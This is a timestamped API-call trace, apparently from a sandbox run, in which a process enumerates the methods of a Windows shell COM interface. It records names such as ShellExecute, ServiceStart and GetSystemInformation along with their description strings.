	[0112.754] SysStringByteLen (bstr="TileHorizontally") returned 0x20
	[0112.754] SysStringByteLen (bstr="TileHorizontally") returned 0x20
	[0112.754] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.754] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x14, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.754] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.754] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.754] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.754] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743821, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Exit Windows", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.755] SysStringByteLen (bstr="Exit Windows") returned 0x18
	[0112.755] SysStringByteLen (bstr="Exit Windows") returned 0x18
	[0112.755] SysStringByteLen (bstr="ShutdownWindows") returned 0x1e
	[0112.755] SysStringByteLen (bstr="ShutdownWindows") returned 0x1e
	[0112.755] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.755] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x15, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.755] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.755] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.755] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.755] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743822, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Suspend the pc", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.755] SysStringByteLen (bstr="Suspend the pc") returned 0x1c
	[0112.755] SysStringByteLen (bstr="Suspend the pc") returned 0x1c
	[0112.755] SysStringByteLen (bstr="Suspend") returned 0xe
	[0112.755] SysStringByteLen (bstr="Suspend") returned 0xe
	[0112.756] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.756] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x16, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.756] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.756] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.756] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.756] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743823, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Eject the pc", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.756] SysStringByteLen (bstr="Eject the pc") returned 0x18
	[0112.756] SysStringByteLen (bstr="Eject the pc") returned 0x18
	[0112.756] SysStringByteLen (bstr="EjectPC") returned 0xe
	[0112.756] SysStringByteLen (bstr="EjectPC") returned 0xe
	[0112.756] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x17, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.757] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.757] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.757] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.757] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743824, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Bring up the Set time dialog", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.757] SysStringByteLen (bstr="Bring up the Set time dialog") returned 0x38
	[0112.757] SysStringByteLen (bstr="Bring up the Set time dialog") returned 0x38
	[0112.757] SysStringByteLen (bstr="SetTime") returned 0xe
	[0112.757] SysStringByteLen (bstr="SetTime") returned 0xe
	[0112.757] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.757] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x18, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.758] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.758] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.758] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.758] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743825, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Handle Tray properties", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.758] SysStringByteLen (bstr="Handle Tray properties") returned 0x2c
	[0112.758] SysStringByteLen (bstr="Handle Tray properties") returned 0x2c
	[0112.758] SysStringByteLen (bstr="TrayProperties") returned 0x1c
	[0112.758] SysStringByteLen (bstr="TrayProperties") returned 0x1c
	[0112.758] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.758] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x19, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.758] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.759] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.759] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.759] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743826, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Display shell help", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.759] SysStringByteLen (bstr="Display shell help") returned 0x24
	[0112.759] SysStringByteLen (bstr="Display shell help") returned 0x24
	[0112.759] SysStringByteLen (bstr="Help") returned 0x8
	[0112.759] SysStringByteLen (bstr="Help") returned 0x8
	[0112.759] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.759] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1a, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.759] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.759] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.759] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.759] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743827, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Find Files", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.760] SysStringByteLen (bstr="Find Files") returned 0x14
	[0112.760] SysStringByteLen (bstr="Find Files") returned 0x14
	[0112.760] SysStringByteLen (bstr="FindFiles") returned 0x12
	[0112.760] SysStringByteLen (bstr="FindFiles") returned 0x12
	[0112.760] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.760] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1b, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.760] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.760] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.760] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.760] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743828, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Find a computer", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.761] SysStringByteLen (bstr="Find a computer") returned 0x1e
	[0112.761] SysStringByteLen (bstr="Find a computer") returned 0x1e
	[0112.761] SysStringByteLen (bstr="FindComputer") returned 0x18
	[0112.761] SysStringByteLen (bstr="FindComputer") returned 0x18
	[0112.761] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.761] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1c, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.761] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.761] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.761] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.761] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743829, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Refresh the menu", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.761] SysStringByteLen (bstr="Refresh the menu") returned 0x20
	[0112.762] SysStringByteLen (bstr="Refresh the menu") returned 0x20
	[0112.762] SysStringByteLen (bstr="RefreshMenu") returned 0x16
	[0112.762] SysStringByteLen (bstr="RefreshMenu") returned 0x16
	[0112.762] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.762] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1d, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.762] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.762] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.762] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.762] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610743830, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Run a Control Panel Item", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.762] SysStringByteLen (bstr="Run a Control Panel Item") returned 0x30
	[0112.762] SysStringByteLen (bstr="Run a Control Panel Item") returned 0x30
	[0112.762] SysStringByteLen (bstr="ControlPanelItem") returned 0x20
	[0112.762] SysStringByteLen (bstr="ControlPanelItem") returned 0x20
	[0112.763] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.763] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1e, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.763] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.763] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.763] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.763] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809344, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="get restriction settings", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.763] SysStringByteLen (bstr="get restriction settings") returned 0x30
	[0112.763] SysStringByteLen (bstr="get restriction settings") returned 0x30
	[0112.763] SysStringByteLen (bstr="IsRestricted") returned 0x18
	[0112.763] SysStringByteLen (bstr="IsRestricted") returned 0x18
	[0112.763] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.764] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x1f, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.764] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.764] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.764] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.764] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809345, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Execute generic command", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.764] SysStringByteLen (bstr="Execute generic command") returned 0x2e
	[0112.764] SysStringByteLen (bstr="Execute generic command") returned 0x2e
	[0112.764] SysStringByteLen (bstr="ShellExecute") returned 0x18
	[0112.764] SysStringByteLen (bstr="ShellExecute") returned 0x18
	[0112.764] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.765] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x20, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.765] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.765] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.765] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.765] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809346, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Find a Printer in the Directory Service", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.765] SysStringByteLen (bstr="Find a Printer in the Directory Service") returned 0x4e
	[0112.765] SysStringByteLen (bstr="Find a Printer in the Directory Service") returned 0x4e
	[0112.765] SysStringByteLen (bstr="FindPrinter") returned 0x16
	[0112.765] SysStringByteLen (bstr="FindPrinter") returned 0x16
	[0112.765] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.765] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x21, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.766] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.766] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.766] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.766] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809347, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Retrieve info about the user's system", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.766] SysStringByteLen (bstr="Retrieve info about the user's system") returned 0x4a
	[0112.766] SysStringByteLen (bstr="Retrieve info about the user's system") returned 0x4a
	[0112.766] SysStringByteLen (bstr="GetSystemInformation") returned 0x28
	[0112.766] SysStringByteLen (bstr="GetSystemInformation") returned 0x28
	[0112.766] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.766] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x22, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.767] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.767] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.767] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.767] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809348, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Start a service by name, and optionally set it to autostart.", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.767] SysStringByteLen (bstr="Start a service by name, and optionally set it to autostart.") returned 0x78
	[0112.767] SysStringByteLen (bstr="Start a service by name, and optionally set it to autostart.") returned 0x78
	[0112.767] SysStringByteLen (bstr="ServiceStart") returned 0x18
	[0112.767] SysStringByteLen (bstr="ServiceStart") returned 0x18
	[0112.767] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.767] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x23, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.768] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.768] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.768] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.768] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809349, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Stop a service by name, and optionally disable autostart.", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.768] SysStringByteLen (bstr="Stop a service by name, and optionally disable autostart.") returned 0x72
	[0112.768] SysStringByteLen (bstr="Stop a service by name, and optionally disable autostart.") returned 0x72
	[0112.768] SysStringByteLen (bstr="ServiceStop") returned 0x16
	[0112.768] SysStringByteLen (bstr="ServiceStop") returned 0x16
	[0112.768] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.768] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x24, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.768] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.768] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.768] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.769] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809350, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Determine if a service is running by name.", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.769] SysStringByteLen (bstr="Determine if a service is running by name.") returned 0x54
	[0112.769] SysStringByteLen (bstr="Determine if a service is running by name.") returned 0x54
	[0112.769] SysStringByteLen (bstr="IsServiceRunning") returned 0x20
	[0112.769] SysStringByteLen (bstr="IsServiceRunning") returned 0x20
	[0112.769] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.769] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x25, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.769] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.769] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.769] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.769] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809351, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Determine if the current user can start/stop the named service.", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.770] SysStringByteLen (bstr="Determine if the current user can start/stop the named service.") returned 0x7e
	[0112.770] SysStringByteLen (bstr="Determine if the current user can start/stop the named service.") returned 0x7e
	[0112.770] SysStringByteLen (bstr="CanStartStopService") returned 0x26
	[0112.770] SysStringByteLen (bstr="CanStartStopService") returned 0x26
	[0112.770] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.770] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x26, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.770] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.770] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.770] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.770] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610809352, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Show/Hide browser bar.", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.771] SysStringByteLen (bstr="Show/Hide browser bar.") returned 0x2c
	[0112.771] SysStringByteLen (bstr="Show/Hide browser bar.") returned 0x2c
	[0112.771] SysStringByteLen (bstr="ShowBrowserBar") returned 0x1c
	[0112.771] SysStringByteLen (bstr="ShowBrowserBar") returned 0x1c
	[0112.771] IUnknown:Release (This=0x697ce4) returned 0x2
	[0112.771] ITypeInfo:RemoteGetFuncDesc (in: This=0x697ce4, index=0x27, ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8 | out: ppFuncDesc=0x5eaf218, pDummy=0x7c6a66d8) returned 0x0
	[0112.771] ITypeInfo:LocalReleaseFuncDesc (This=0x697ce4) returned 0xde0001
	[0112.771] CoGetContextToken (in: pToken=0x5eaef5c | out: pToken=0x5eaef5c) returned 0x0
	[0112.771] IUnknown:AddRef (This=0x697ce4) returned 0x3
	[0112.771] ITypeInfo:RemoteGetDocumentation (in: This=0x697ce4, memid=1610874880, refPtrFlags=0x5eaf108, pbstrName=0x5eaf0ec, pBstrDocString=0x5eaf21c, pdwHelpContext=0x5eaf0d0, pBstrHelpFile=0x6f11bb08 | out: pbstrName=0x5eaf0ec*="Add an object to the Recent Docuements", pBstrDocString=0x5eaf21c*=0x0, pdwHelpContext=0x5eaf0d0*=0x0, pBstrHelpFile=0x6f11bb08*="ࣂ唀坖曆柨\x0b謀ࡵ삃㬌࿰ࢅś㌀䃀幟쉝\x04譕召坖࿨%謀埸캋���쓨￿藿瓀譒Ω") returned 0x0
	[0112.772] SysStringByteLen (bstr="Add an object to the Recent Docuements") returned 0x4c
	[0112.772] SysStringByteLen (bstr="Add an object to the Recent Docuements") returned 0x4c
